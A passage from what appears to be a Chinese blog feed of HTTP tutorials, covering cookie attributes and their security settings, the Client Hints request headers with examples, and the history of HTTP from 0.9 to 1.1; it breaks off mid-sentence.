Lax:浏览器在某些情况下会发送 Cookie,在用户从外部站点导航到源站时cookie将被发送(例如,用户点击链接或输入 URL),在 POST 请求以及嵌套的跨站点请求中(如通过 <img> 或 <iframe>)不会被发送。这是 SameSite 属性未被设置时的默认行为。    o None:浏览器会在跨站和同站请求中均发送 cookie。在设置这一属性值时,必须同时设置 Secure 属性,就像这样:SameSite=None; Secure。示例// 会话期Cookie,将会在客户端关闭时被移除。会话期 cookie 不设置 Expires 或 Max-Age 属性。 Set-Cookie: sessionId=38afes7a8 // 持久化 cookie,不会在客户端关闭时失效,而是在特定的日期(Expires)或者经过一段特定的时间之后(Max-Age)才会失效。 Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT Set-Cookie: id=a3fWa; Max-Age=2592000 // 限制域的Cookie Set-Cookie:test=123;Domain=wangjunliang.com // 一些名称包含了__Secure-、__Host-前缀的Cookie,当响应来自于一个安全域(HTTPS)的时候且设置了Secure属性,二者都可以被客户端接受 Set-Cookie: __Secure-ID=123; Secure; Domain=example.com Set-Cookie: __Host-ID=123; Secure; Path=/ // 缺少 Secure 指令,会被拒绝 Set-Cookie: __Secure-id=1 // 名称包含了 __Host-前缀的cookie缺少 Path=/ 指令,会被拒绝 Set-Cookie: __Host-id=1; Secure // 名称包含了 __Host-前缀的cookie由于设置了 domain 属性,会被拒绝 Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.comCookie请求标头在发起请求时,请求标头 Cookie 将会被浏览器自动携带,其中包含了存储在客户端的与该请求源相关的 Cookie。这些 Cookie 可以是先前由服务器通过 Set-Cookie 标头设置的,也可以是通过 JavaScript 的 document.cookie 方法设置的。为保护隐私,用户可在浏览器的隐私设置里面设置禁用 cookie,此时浏览器发起的所有请求将不会携带Cookie请求头。参数    该请求标头并无其他参数取值<name=value; name2=value2; name3=value3;.......>    携带的Cookie列表,由一系列的Cookie键值对组成,形式为 name=value,键值对之间用分号和空格('; ')隔开。示例Cookie: PHPSESSID=298zf09hf012fh2; Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1Cookie的安全风险当你存储信息到 Cookie 中时,需要明白 Cookie的值是存储在用户终端的本地文件中的,而且用户通常可以访问和修改这些值。此外,浏览器会自动将Cookie值包含在每个相关请求中,这意味着如果Cookie不合理配置,可能会导致许多安全风险。    · 携带secure属性,以防止MitM攻击窃取Cookie: 设置Cookie的secure属性会将其限制为仅在加密的HTTPS连接中传输,从而减少中间人攻击的风险。    · 携带HttpOnly属性,以防止XSS攻击窃取Cookie: 通过将Cookie标记为HttpOnly,您可以防止通过JavaScript脚本访问Cookie,减少了XSS攻击的成功机会,如果需要JS访问Cookie,则需要做好XSS攻击的防护手段。    · 设置SameSite属性,以防止CSRF攻击: 通过设置SameSite属性,您可以限制浏览器仅在同源请求中发送Cookie,从而降低CSRF攻击的可能性。但如果需要跨源访问时携带Cookie则SameSite属性必须设置None,此时则会有被点击劫持/CSRF攻击的风险,因此需要设置CSP策略防止点击劫持攻击,并做好CSRF攻击防护手段    · 经常更新Cookie以防止会话固定攻击: 会话固定攻击是攻击者尝试绑定用户会话到特定的会话标识符上。通过定期更改会话标识符,您可以降低这种攻击的成功几率。第三方CookieCookie 与特定域、协议(例如,http 或 https)以及端口号相关联,如果设置了 Set-Cookie的Domain 属性,也可能与子域相关联。如果该 cookie 域、协议(例如,http 或 https)以及端口号匹配当前的页面,则认为该 cookie 和该页面来自同一站点,则称为第一方 cookie(first-party cookie)。如果任一不同,则它不认为来自同一个站点,被称为第三方 cookie(third-party cookie)。第三方Cookie主要用于追踪用户行为、广告投放、分析和其他跨站点用途。例如,Google分析,你肯定很好奇为什么我没登陆,Google分析是如何判断用户是谁的?IP?但不准确呀,其实它使用的就是第三方Cookie。
0
0
0
浏览量932
爱喝奶茶的波波

【HTTP完全注解】客户端提示

客户端提示客户端提示(Client Hint)是HTTP的一种内容协商机制,它通过在请求中设置特定的请求标头向服务器主动传达有关设备、网络、用户以及用户代理等信息,从而帮助服务器更好地理解客户端的上下文,以便做出更合适的响应。客户端提示分类客户端提示分为高熵提示和低熵提示,低熵提示是指一些不会泄漏太多用户个人隐私信息的提示,而高熵提示则反之。使用高熵提示需要服务端使用Accept-CH 响应标头明确指出需要客户端发送的高熵提示,且浏览器并未限制提供这些信息才能够正常使用;而低熵提示只要浏览器并未限制提供这些信息,它们可能为每个客户端请求发送这些信息,无论服务端是否在 Accept-CH 响应标头中指定。低熵提示标头名称作用Save-Data表明用户是否希望在网络连接较慢或有数据限制的情况下优先加载轻量级的页面或资源。Sec-CH-UA表明用户使用的浏览器的品牌(brand)和重要的版本信息。Sec-CU-UA-Mobile表明浏览器是否运行在移动设备上,如果是桌面浏览器也可以使用它来指示对“移动”用户体验的偏好。Sec-CH-UA-Platform表明浏览器运行使用的平台或操作系统。高熵提示标头名称作用Sec-CH-UA-Arch表明用户设备使用的 CPU 架构,例如 ARM 或 x86。Sec-CH-UA-Full-Version-List表明用户使用的浏览器的品牌(brand)和完整版本信息。Sec-CH-UA-Bitness表明用户设备使用的 CPU 架构的“位数”,通常为 64 位或 32 位。Sec-CH-UA-Model表明用户的设备型号。Sec-CH-UA-Platform-Version表明用户设备使用的平台或操作系统的版本。Sec-CH-Prefers-Reduced-Motion表明用户对减少动画的偏好,与CSS媒体查询prefers-reduced-motion相同。Sec-CH-Prefers-Color-Scheme表明用户对浅色或深色主题的偏好,与CSS媒体查询prefers-color-scheme相同。Device-Memory表明用户设备内存的近似大小。Sec-CH-DPR表明用户设备的像素比 (DPR),该比例是与每个 CSS 像素相对应的物理设备像素的数量。Sec-CH-Width表明客户端对资源期望的宽度尺寸Sec-CH-Viewport-Width表明用户可视化区域宽度尺寸Sec-CH-Viewport-Height表明用户可视化区域高度尺寸Downlink提供客户端连接到服务器的大致带宽,以 Mbps 为单位。ECT表明客户端有效的连接类型: slow-2g、2g、3g、4g。RTT表明客户端发送请求到服务器并返回响应所需的时间。重要的客户端提示重要的客户端提示是指那些可能显著改变页面渲染方式,影响网站交互以及可用性的客户端提示。例如,Sec-CH-Prefers-Reduced-Motion 通常被视作重要的客户端提示,因为它可能会显著影响动画的行为,因此需要浏览器第一时间设置并提供。服务器可以使用 Critical-CH 响应标头去指定 Accept-CH 响应标头列举的客户端提示中哪些是重要客户端提示。浏览器接收到有 Critical-CH 标头的响应,必须检查其中指定的客户端提示标头是否已经在请求中发送,如果没有发送,则需要携带相关标头重新请求。例如,在这种情况下,服务器通过 Accept-CH响应标头告诉客户端它接受 Sec-CH-Prefers-Reduced-Motion客户端提示,且使用 Critical-CH响应标头指定 Sec-CH-Prefers-Reduced-Motion为一个重要客户端提示:HTTP/1.1 200 OK Content-Type: text/html Accept-CH: Sec-CH-Prefers-Reduced-Motion Vary: Sec-CH-Prefers-Reduced-Motion Critical-CH: Sec-CH-Prefers-Reduced-Motion由于 Sec-CH-Prefers-Reduced-Motion 在首次请求中不存在,因此浏览器会自动地重新请求并携带上 Sec-CH-Prefers-Reduced-Motion 标头。GET / HTTP/1.1 Host: example.com Sec-CH-Prefers-Reduced-Motion: "reduce"相关标头Accept-CH 响应标头响应标头Accept-CH指定客户端应在后续请求中应包含哪些客户端提示(Client Hint)标头。参数该响应标头并无其他参数。取值<Client-Hint-heder,Client-Hint-heder,Client-Hint-heder,.......>    客户端提示(Client Hint)标头列表,用逗号(',')隔开,指定客户端应在后续请求中应包含哪些客户端提示(Client Hint)标头。示例Accept-CH: DPR, Viewport-Width Accept-CH: WidthSave-Data 请求标头Save-Data 请求标头表明用户是否希望在网络连接较慢或有数据限制的情况下优先加载轻量级的页面或资源。这个标头的目的是提供一种机制,使得网站能够根据用户的带宽或数据限制条件动态地调整其内容。一些网站可能会根据Save-Data标头的存在来选择性地加载低分辨率的图像、压缩的资源或简化的页面布局,以提供更快的加载速度和更低的数据使用量。参数该请求标头并无其他参数。取值[on/off]    表示客户端是否想要选择简化数据使用模式。on 表示是,而 off(默认值)表示不。示例Save-Data: on Save-Data: offSec-CH-UA 请求标头Sec-CH-UA 请求标头表明用户使用的浏览器的品牌(brand)和重要的版本信息。 品牌是浏览器的商业名称,例如:Chromium、Opera、Google Chrome、Microsoft Edge、Firefox 和 Safari。浏览器可能有多个关联的品牌。例如,Opera、Chrome 和 Edge 都基于 Chromium,因此在 Sec-CH-UA 标头可能会同时列出这三个品牌。参数该请求标头并无其他参数。取值["<brand>";v="<version>","Not A;Brand";v="<version>"......]    指定一系列用户使用的浏览器的品牌(brand)和重要的版本信息,使用逗号(,)分割。        o <brand>: 表示浏览器的品牌,例如Chromium、Google Chrome等,特殊值Not A;Brand表示该浏览器不使用品牌标识符。        o <version>: 表示该浏览器的版本信息示例Sec-CH-UA: "Chromium";v="96" Sec-CH-UA: "Opera";v="81", " Not;A Brand";v="99", "Chromium";v="95" Sec-CH-UA: " Not A;Brand";v="99", "Chromium";v="96", "Microsoft Edge";v="96"Sec-CH-UA-Mobile 请求标头Sec-CH-UA-Mobile请求标头表明浏览器是否运行在移动设备上,如果是桌面浏览器也可以使用它来表示对“移动”用户体验的偏好。参数该请求标头并无其他参数。取值?<boolean>    表明浏览器是否运行在移动设备上,?1表示在移动设备上 (true),?0表示不在移动设备上 (false)。示例Sec-CH-UA-Mobile: ?0 Sec-CH-UA-Mobile: ?1Sec-CH-UA-Platform 请求标头Sec-CH-UA-Platform请求标头表明浏览器运行使用的平台或操作系统参数该请求标头并无其他参数。取值"<platform>"    表明浏览器运行使用的平台或操作系统,以下字符串之一:Android、Chrome OS、Chromium OS、iOS、Linux、macOS、Windows或Unknown。示例Sec-CH-UA-Platform: "macOS" Sec-CH-UA-Platform: "Android"Sec-CH-UA-Arch 请求标头Sec-CH-UA-Arch 请求标头表明用户设备使用的 CPU 架构,例如 ARM 或 x86。参数该请求标头并无其他参数。取值"<arch>"    表明用户设备使用的 CPU 架构,例如 x86、ARM、arm64-v8a 、 armeabi-v7a 、 armeabi 等。示例Sec-CH-UA-Arch: "ARM" Sec-CH-UA-Arch: "x86"Sec-CH-UA-Full-Version-List 请求标头Sec-CH-UA-Full-Version-List请求标头表明用户使用的浏览器的品牌(brand)和完整版本信息。参数该请求标头并无其他参数。取值["<brand>";v="<full-version>","Not A;Brand";v="<full-version>"......]    指定一系列用户使用的浏览器的品牌(brand)和完整版本信息,使用逗号(,)分割。        o <brand>: 表示浏览器的品牌,例如Chromium、Google Chrome等,特殊值Not A;Brand表示该浏览器不使用品牌标识符。        o <full-version>: 表示该浏览器的完整版本信息,例如 98.0.4750.0。示例Sec-CH-UA-Full-Version-List: "Chromium";v="98.0.4750.0" Sec-CH-UA-Full-Version-List: " Not A;Brand";v="99.0.0.0", "Chromium";v="98.0.4750.0", "Google Chrome";v="98.0.4750.0" Sec-CH-UA-Bitness 请求标头Sec-CH-UA-Bitness 请求标头表明用户设备使用的 CPU 架构的“位数”,通常为 64 位或 32 位。参数该请求标头并无其他参数。取值"<bitness>"    表明用户设备使用的 CPU 架构的“位数”,通常为 "64"或"32"。示例Sec-CH-UA-Bitness: "32" Sec-CH-UA-Bitness: "64"Sec-CH-UA-Model 请求标头Sec-CH-UA-Model请求标头表明用户的设备型号。参数该请求标头并无其他参数。取值"<device-version>"    表明用户的设备型号。示例Sec-CH-UA-Model: "iPhone" Sec-CH-UA-Model: "Samsung Galaxy S21"Sec-CH-UA-Platform-Version 请求标头Sec-CH-UA-Platform-Version请求标头表明用户设备使用的平台或操作系统的版本。参数该请求标头并无其他参数。取值"<version>"    表明用户设备使用的平台或操作系统的版本,例如,"11.0.0",Linux 上的版本字符串始终为空。示例Sec-CH-UA-Platform-Version: "10.0.0"Sec-CH-Prefers-Reduced-Motion 请求标头Sec-CH-Prefers-Reduced-Motion请求标头表明用户对减少页面动画的偏好。 用户通过设置操作系统或浏览器设置来表明他们的偏好,浏览器则会使用此标头携带用户偏好,以指示用户对减少页面动画的偏好,服务器根据偏好适当调整内容,例如 JavaScript 或 CSS,以减少后续渲染内容上呈现的动画。参数该请求标头并无其他参数。取值"<perference>"    表明用户对减少页面动画的偏好,它通常取自操作系统的设置,该指令的值可以是no-preference(用户偏好不减少动画)或reduce(用户偏好减少动画)。示例Sec-CH-Prefers-Reduced-Motion: "reduce" Sec-CH-Prefers-Reduced-Motion: "no-preference"Sec-CH-Prefers-Color-Scheme 请求标头Sec-CH-Prefers-Color-Scheme请求标头表明用户对浅色或深色主题的偏好。 用户通过设置操作系统(例如,浅色或深色模式)或浏览器设置来表明他们的偏好,浏览器则会使用此标头携带用户偏好,以指示用户对特定配色方案的偏好,服务器根据偏好适当调整内容,包括图像或 CSS等,以显示后续渲染内容的浅色或深色模式。参数该请求标头并无其他参数。取值"<perference>"    表明用户对浅色或深色主题的偏好,它通常取自操作系统的设置,该指令的值可以是light(用户偏好浅色模式)或dark(用户偏好深色模式)。示例Sec-CH-Prefers-Color-Scheme: "light" Sec-CH-Prefers-Color-Scheme: "dark"Device-Memory 请求标头Device-Memory请求标头表明用户设备内存的近似大小。参数该请求标头并无其他参数。取值<number>    一个特定的离散值,表明用户设备内存的近似大小,该值可以是以下之一:0.25、0.5、1、2、4、8,这些值表示设备内存的相对容量,通常以GB为单位。示例Device-Memory: 1 Device-Memory: 4Sec-CH-DPR 请求标头Sec-CH-DPR请求标头表明用户设备的像素比 (DPR)。参数该请求标头并无其他参数。取值<number>    指定一个数字,表明用户设备的像素比 (DPR)。示例Sec-CH-DPR: 2.0 Sec-CH-DPR: 1.5Sec-CH-Width 请求标头Sec-CH-Width请求标头表明客户端对资源期望的宽度尺寸。参数该请求标头并无其他参数。取值<number>    指定一个数字,表明客户端对资源期望的宽度尺寸,该值会四舍五入到最接近的整数。示例Sec-CH-Width: 1920 Sec-CH-Width: 1440Sec-CH-Viewport-Width 请求标头Sec-CH-Viewport-Width请求标头表明用户可视化区域宽度尺寸。参数该请求标头并无其他参数。取值<number>    指定一个数字,表明用户可视化区域宽度尺寸,该值会四舍五入到最接近的整数。示例Sec-CH-Viewport-Width: 1920 Sec-CH-Viewport-Width: 1440Sec-CH-Viewport-Height 请求标头Sec-CH-Viewport-Width请求标头表明用户可视化区域高度尺寸。参数该请求标头并无其他参数。取值<number>    指定一个数字,表明用户可视化区域高度尺寸,该值会四舍五入到最接近的整数。示例Sec-CH-Viewport-Height: 1080 Sec-CH-Viewport-Height: 960Downlink 请求标头Downlink请求标头提供客户端连接到服务器的大致带宽,以 Mbps 为单位。参数该请求标头并无其他参数。取值<number>    指定一个数字,表明客户端连接到服务器的大致带宽,以 Mbps 为单位,该值会四舍五入到最接近的 25 kbit 的整数倍。示例Downlink: 1.7 Downlink: 5.75ECT 请求标头ECT请求标头表明客户端有效的连接类型参数该请求标头并无其他参数。取值<type>    指定有效连接类型值,为以下值之一:slow-2g、2g、3g或4g。示例ECT: 2g ECT: 4gRTT 请求标头RTT请求标头表明客户端发送请求到服务器并返回响应所需的大致时间。参数该请求标头并无其他参数。取值<number>    指定一个数字,表明客户端发送请求到服务器并返回响应所需的大致时间,以毫秒为单位,该值会四舍五入到最接近的 25 的整数倍。示例RTT: 125 RTT: 25
0
0
0
浏览量226
爱喝奶茶的波波

【HTTP完全注释】爆肝万字!让你全面了解HTTP发展史!!!

HTTP的历史​超文本传输协议(英语:HyperText Transfer Protocol,缩写:HTTP)是万维网(World Wide Web)的基础协议。自蒂姆·伯纳斯-李 (Tim BernersLee)博士和他的团队在 1989-1991 年间创造出它以来,HTTP 已经发生了太多的变化,在保持协议简单性的同时,不断扩展其灵活性。如今,HTTP 已经从一个只在实验室之间交换文档的早期协议进化到了可以传输图片,高分辨率视频和 3D 效果的现代复杂互联网协议。HTTP的诞生​1989 年 3 月欧洲核子研究组织(CERN)的蒂姆·伯纳斯-李 (Tim BernersLee)博士提出了一种能让远隔两地的研究者们共享知识的设想。 最初设想的基本理念是:借助多文档之间相互关联形成的超文本(HyperText),连成可相互参阅的 WWW(World Wide Web,万维网)。蒂姆最初的提议。图片来源:欧洲核子研究中心到 1990 年 10 月,Tim 编写了三项基本技术来实现设想,这些技术仍然是当今网络的基础(您可能已经在网络浏览器的某些部分上看到过这些技术):HTML(HyperText Markup Language):超文本标记语言,作为编写文档的语言。HTTP(HyperText Transfer Protocol):超文本传输协议,作为传递文档的协议。URL(Uniform Resource Locator):统一资源标识符,一种唯一的“地址”,用于标识文档在网络上的位置。此外 Tim 还编写了第一个网页编辑器/浏览器(“WorldWideWeb.app”)和第一个 Web 服务器(“httpd”)。至此 Tim 初步完成了他的设想的所有技术实现,且第一批服务器已经在 1991 年初在 CERN 以外的地方运行了,1991 年 8 月 16 日,Tim Berners-Lee 在公开的超文本新闻组上发表的文章被视为是万维网公共项目的开始。对于HTTP而言, 在应用的早期阶段它是非常简单的,后来它也被称为 HTTP/0.9,有时也叫做单行hang(one-line)协议。HTTP/0.9——单行协议(1991)​最初版本的 HTTP 协议并没有版本号,后来它的版本号被定位在 0.9 以区分后来的版本。HTTP/0.9于 1991 年提出。它是有史以来最简单的协议;它的请求由单行指令构成(因此也称为单行协议),以唯一可用方法 GET 开头,其后跟目标资源的路径(一旦连接到服务器,协议、服务器、端口号这些都不是必须的)。GET /index.html响应也极其简单的:只包含HTML文档本身。<HTML> 这是一个非常简单的 HTML 页面 </HTML>跟后来的版本不同,HTTP/0.9 的响应内容并不包含 HTTP 头。这意味着只有 HTML 文件可以传送,无法传输其他类型的文件。也没有状态码或错误代码。一旦出现问题,一个特殊的包含问题描述信息的 HTML 文件将被发回,供人们查看。特性​它是 ASCII 协议,请求/响应都是由ASCII字符组成字符串。它在TCP/IP 链路上运行。请求以回车符 (CRLF) 终止。响应只包含HTML文档。文档传输完成后,TCP连接将终止。缺陷​只支持GET请求:  HTTP/0.9仅支持GET方法,意味着只能用于获取资源,不能用于其他类型的请求,如POST、PUT、DELETE等。这导致在处理复杂的应用逻辑和实现数据更新等操作时,HTTP/0.9显得非常有限。只能传输HTML:  HTTP/0.9的响应只能包含HTML文档,无法处理其他类型的数据,如JSON、XML、图像等。这限制了其在处理现代Web应用程序中的数据传输和交互能力。无法进行内容协商:  HTTP/0.9没有头部信息,无法携带元数据,如Content-Type、Content-Length等,这使得它无法识别并正确解析其他响应内容。没有状态码或错误代码:  也是由于HTTP/0.9没有头部信息,无法携带元数据,因此响应成功与失败都是返回HTML文档,这使得浏览器不能知晓请求执行成功或失败,并相应调整行为。不支持持久连接:  在HTTP/0.9中,每次请求都会建立一个新的TCP连接,请求完成后立即关闭连接。这导致在处理大量请求时,频繁地建立和关闭连接会带来较大的开销,影响性能。安全性问题:  HTTP/0.9没有提供任何加密和安全机制,所有的数据都是明文传输。这使得数据容易受到窃听和篡改,缺乏对隐私和数据完整性的保护。只能传输英文文本数据:  HTTP/0.9默认采用的字符集是ASCII字符集,这意味着HTTP只能传输英文文本数据,无法支持其他语言的文本数据,比如包含非英文字符的文本(如中文、日文、俄文等)。正如你们所看到的,HTTP/0.9仅适用于简单的、仅需要获取HTML文档的场景。新兴 Web 所需功能及其在公共 Web 上的用例不断增长,很快就强化了 HTTP 0.9 的许多缺陷:我们需要一个协议,该协议不仅可以服务于超文本文档,还可以提供有关请求和响应的更丰富的元数据。很快,HTTP 的下一个版本(即 HTTP/1.0)被推出,它解决了HTTP/0.9的缺陷,并提供更多强大的功能和性能优化。HTTP/1.0——构建可扩展性(1996)​1996 年 5 月,HTTP 工作组 (HTTP-WG) 发布了 RFC 1945,文档 RFC 1945 定义了 HTTP/1.0,但它是狭义的,并不是官方标准。HTTP/1.0 通过定义了HTTP请求/响应的结构,加入许多头部信息,现在可以处理其他响应格式,即图像、视频文件、纯文本或任何其他内容类型。它添加了更多方法(即 POST 和 HEAD)、添加了状态代码来标识响应、引入了字符集、类型、授权、缓存、内容编码等内容。以下为 HTTP/1.0 的请求示例:GET / HTTP/1.0 Host: cs.fyi User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) Accept: */*以下为 HTTP/1.0 的响应示例:HTTP/1.0 200 OK Content-Type: text/plain Content-Length: 137582 Expires: Thu, 05 Dec 1997 16:00:00 GMT Last-Modified: Wed, 5 August 1996 15:55:28 GMT Server: Apache 0.84 (response body) (connection closed)HTTP/1.0 的请求与响应现在看起来也是非常熟悉的,因为它首次定义了请求/响应的格式我们沿用至今,并且由于加入头信息,使得内容协商变得容易起来,这也极大的丰富了它的扩展性,虽然请求和响应标头仍保留为 ASCII 编码,但响应正文可以是任何类型,即图像、视频、HTML、纯文本或任何其他内容类型。因此,现在服务器不仅仅只能向客户端发送HTML文档,还可以发送其他任何内容类型;推出后不久,HTTP 中的“超文本”一词就变得用词不当。HMTP 或超媒体传输协议可能更有意义,但我想,我们终生都坚持这个名字。特性​定义了请求/响应格式:  HTTP/1.0将请求/响应格式划分为了三个部分——起始行、头部信息、消息体,这个格式一直沿用至今。加入了状态码和状态描述:  在响应的起始行中加入了状态代码和状态的描述信息,提供了关于请求处理结果的信息,以便客户端和服务器能够进行适当的处理和决策。加入了内容协商:  虽然在HTTP/1.0中起始行与头部信息都保留为 ASCII 编码,但它通过加入了Content-Type、Content-Length、Transfer-Encoding等头部属性,可以对不同类型的文件在消息体中进行不同的编码。也就是说起始行、头部信息传输仍是ASCII编码,而消息体则会根据头部属性让客户端/服务器进行内容协商,进行不同的编码方式。可以传输任何文件:  由于HTTP/1.0加入了内容协商的机制,使得只要客户端/服务器协商一致,HTTP/1.0就可以传输任何形式的文件。新增POST、HEAD请求:  POST请求方法允许客户端向服务器提交数据,而HEAD请求方法允许客户端获取资源的元数据。这些新增的请求方法丰富了HTTP协议的能力,使得客户端和服务器能够进行更多样化的交互和处理。不再只是传输英文文本数据:  HTTP/1.0引入字符集(Character Set),解决了其他国家语言文本数据的字符编码问题,并确保文本数据能够以正确的方式被处理和显示。初步引入缓存概念:  HTTP/1.0引入了头部字段如Expires和Last-Modified,用于控制缓存的行为,以及头部字段如If-Modified-Since和If-None-Match,用于条件性请求。初步引入持久链接:  HTTP/1.0引入一个名为 Connection: keep-alive 的新标头,来保持请求建立起来的TCP连接,以供后续请求继续使用该链接完成请求。初步引入代理支持:  HTTP/1.0引入了Proxy-Connection头部字段来指示代理服务器是否应保持持久连接,并引入了Via头部字段,用于标识请求经过的代理服务器链。缺陷​持久链接未得到广泛支持,默认仍为短连接:  HTTP/1.0 的尝试通过引入一个名为 Connection: keep-alive 的新标头来克服短连接问题,但它仍然没有得到广泛的支持,问题仍然存在。请求阻塞:  在HTTP/1.0中,每个请求都需要按照顺序进行,即必须等待前一个请求的响应返回后才能发送下一个请求。如果前一个请求很耗时,会导致后续请求被阻塞,影响并发性能。无状态:  HTTP是一种无状态协议,即服务器不维护有关客户端的信息,当客户端需要记录状态时,必须发送一些记录状态的冗余数据,从而导致带宽使用量增加。缺乏压缩支持:  HTTP/1.0没有内置的数据压缩机制,因此在传输大量文本数据时,没有有效地压缩数据,增加了网络传输的开销。安全性问题:  HTTP/1.0没有提供任何加密和安全机制,所有的数据都是明文传输。这使得数据容易受到窃听和篡改,缺乏对隐私和数据完整性的保护。实现混乱:  由于HTTP/1.0并不是官方标准,许多浏览器厂商并没有按照HTTP/1.0的指导实现HTTP,导致在实际运用中混乱不堪。可以看到对于HTTP/0.9人们诟病的是它的文件类型支持不够丰富,由于它的文件类型支持不丰富,所有通常只是请求HTML文档,往往发送一次请求就能获取到完整的内容。而在HTTP/1.0丰富了文件类型后,一次请求不再能获取到全部内容,并且请求的内容也从较小的HTML文档发展到了图片、音频、视频等较大的文件,此时HTTP的性能问题也被暴露出来。此外,由于各个浏览器相互竞争,各自为战,并且HTTP/1.0并不是官方标准,只是一些指导意见。这导致各个厂商对于HTTP都有各自的实现方式,导致在实际运用中混乱不堪。由于上述原因,人们迫切需要优化HTTP性能,制定一份标准化HTTP协议!HTTP/1.1——标准化的协议(1997)​HTTP/1.0 多种不同的实现方式在实际运用中显得有些混乱。自 1995 年开始,即 HTTP/1.0 文档发布的下一年,就开始修订 HTTP 的第一个标准化版本。 在 1997 年 1 月HTTP1.1 标准以 RFC 2068 文件发布,后续 HTTP/1.1 协议进行过两次修订,分别是RFC 2616 发布于 1999 年 6 月,以及 RFC 7230-RFC 7235 发布于 2014 年 6 月。HTTP/1.1 标准消除了早期版本中大量歧义内容,并引入了许多关于性能优化的措施:持久链接、管道化技术、支持范围请求和部分响应、分块传输机制、明确缓存控制机制、增加压缩技术、增强内容协商机制、增加客户端cookie等。除了改进HTTP性能方面HTTP/1.1还新增状态码、引入了基本认证和摘要认证,提供更强大的用户认证机制,确保更安全的通信、 引入了 Host 头字段,该字段允许在同一个物理服务器上托管多个域名。这使得虚拟主机能够通过在 Host 头中指定域名来区分不同的网站、并且它还新增了许多请求方法,极大丰富了请求类型。以下为HTTP/1.1的请求示例GET /zh-CN/docs/Glossary/Simple_header HTTP/1.1 Host: developer.mozilla.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://developer.mozilla.org/zh-CN/docs/Glossary/Simple_header以下为HTTP/1.1的响应示例200 OK Connection: Keep-Alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Wed, 20 Jul 2016 10:55:30 GMT Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" Keep-Alive: timeout=5, max=1000 Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT Server: Apache Transfer-Encoding: chunked Vary: Cookie, Accept-Encoding我们可以看到在请求/响应格式上HTTP/1.1与HTTP/1.0并无差异,这是因为HTTP/1.1沿用了HTTP/1.0的请求/响应格式。特性​持久化连接:  在HTTP/1.0中持久连接默认为关闭,并没有得到广泛应用,而在HTTP/1.1中连接默认情况下不会关闭,而是保持打开状态,从而允许多个顺序请求。要关闭连接,请求头 Connection: close 必须可用。客户端通常在最后一个请求中发送此标头以安全地关闭连接。管道化技术:  HTTP/1.1引入了管道化技术,以解决请求阻塞问题,客户端可以在同一连接上向服务器发送多个请求,而无需等待服务器的响应,并且服务器必须按照接收请求的顺序发送响应。新增客户端Cookie:  由于HTTP是无状态协议,当客户端需要记录状态时,必须发送一些记录状态的冗余数据,从而导致带宽使用量增加。HTTP/1.1引入了客户端cookie以解决该问题,通过在浏览器中设置cookie,服务器可以跟踪用户会话状态,实现用户身份认证,个性化用户体验等。新增Gzip、Deflate等压缩技术:  在HTTP/1.1中,服务器可以使用Gzip、Deflate等压缩算法来压缩HTTP响应的实体主体部分(如HTML、CSS、JavaScript等),然后在响应头中使用"Content-Encoding"字段来指示客户端该响应已经被压缩以及压缩的算法。客户端收到压缩的响应后,会自动解压缩以获取原始内容。引入了基本认证和摘要认证机制:  在HTTP/1.1中,可以通过基本认证和摘要认证机制,在请求头中传递用户名和密码等凭据进行用户身份验证。引入了范围请求和部分响应机制:  HTTP/1.1引入了范围请求和部分响应的功能,通过在HTTP请求头中使用"Range"字段指定所需的资源范围,而服务器在响应头中使用"206 Partial Content"状态码表明返回的是部分响应,并通过"Content-Range"字段指示返回内容的字节范围。这使得客户端可以请求大文件的特定部分,例如断点续传的情况下,从而避免重新下载整个文件。此外,范围请求还能让客户端只获取媒体资源的特定片段,优化数据传输并提升用户体验。引入了分块传输机制:  HTTP/1.1引入了分块传输(Chunked Transfer Encoding)机制,用于在动态内容传输时,服务器无法提前确定整个内容的长度的情况下,逐块发送内容。在分块传输中,服务器将响应拆分为一系列块,每个块都有一个独立的大小,并使用"Transfer-Encoding: chunked"请求头来通知客户端有关分块传输的信息。客户端接收到该头信息后,知道响应将以分块的形式传输,它可以按照指定的块大小逐块接收内容,直到接收到一个长度为零的块,表示传输已完成。这种机制适用于动态生成内容、流式传输以及服务器长时间运行的响应等场景,提供了更灵活和高效的数据传输方式。明确缓存机制:  HTTP/1.1在HTTP/1.0的基础上进一步明确了缓存机制,服务器可以通过设置响应头字段来控制缓存行为,例如使用"Cache-Control"头字段来指定缓存策略,如"max-age"用于设置资源的最大缓存时间,"no-cache"用于要求客户端验证资源的有效性等。同时,服务器也可以在响应头中添加"Expires"头字段,设置资源的过期时间,以便客户端在接收到资源后在过期时间之前可以直接使用缓存的副本。另外,HTTP/1.1还支持"Last-Modified"和"If-Modified-Since"头字段,以及"ETag"和"If-None-Match"头字段,用于在客户端缓存资源后,再次请求时验证资源是否已经发生变化,如果未变化,服务器返回304 Not Modified状态码,让客户端使用缓存的资源,从而避免重复传输。通过这些头字段的灵活组合使用,HTTP/1.1的缓存机制实现了更高效、可控的缓存管理,优化了Web应用程序的性能和用户体验。增强内容协商机制:  HTTP/1.1增加了Accept-Language、Accept-Encoding和Accept-Charset等头字段,允许客户端明确指定其首选语言、内容编码方式和字符集,让服务器能够更好地提供适配客户端需求的内容。此外,HTTP/1.1还引入了Vary头字段,用于标明服务器响应可能因客户端请求头的不同而变化,这样确保代理服务器能够存储和提供正确的缓存内容。这些改进使得HTTP/1.1的内容协商机制更加强大和智能,提高了资源传输的效率和用户体验。添加了新的 HTTP 方法:  HTTP/1.1新增了 PUT、PATCH、OPTIONS、DELETE方法。新增了Host 头字段:  TTP/1.1 引入了 Host 头字段,该字段允许在同一个物理服务器上托管多个域名。这使得虚拟主机能够通过在 Host 头中指定域名来区分不同的网站。新增了状态码缺陷​线头阻塞(Head-of-Line Blocking):  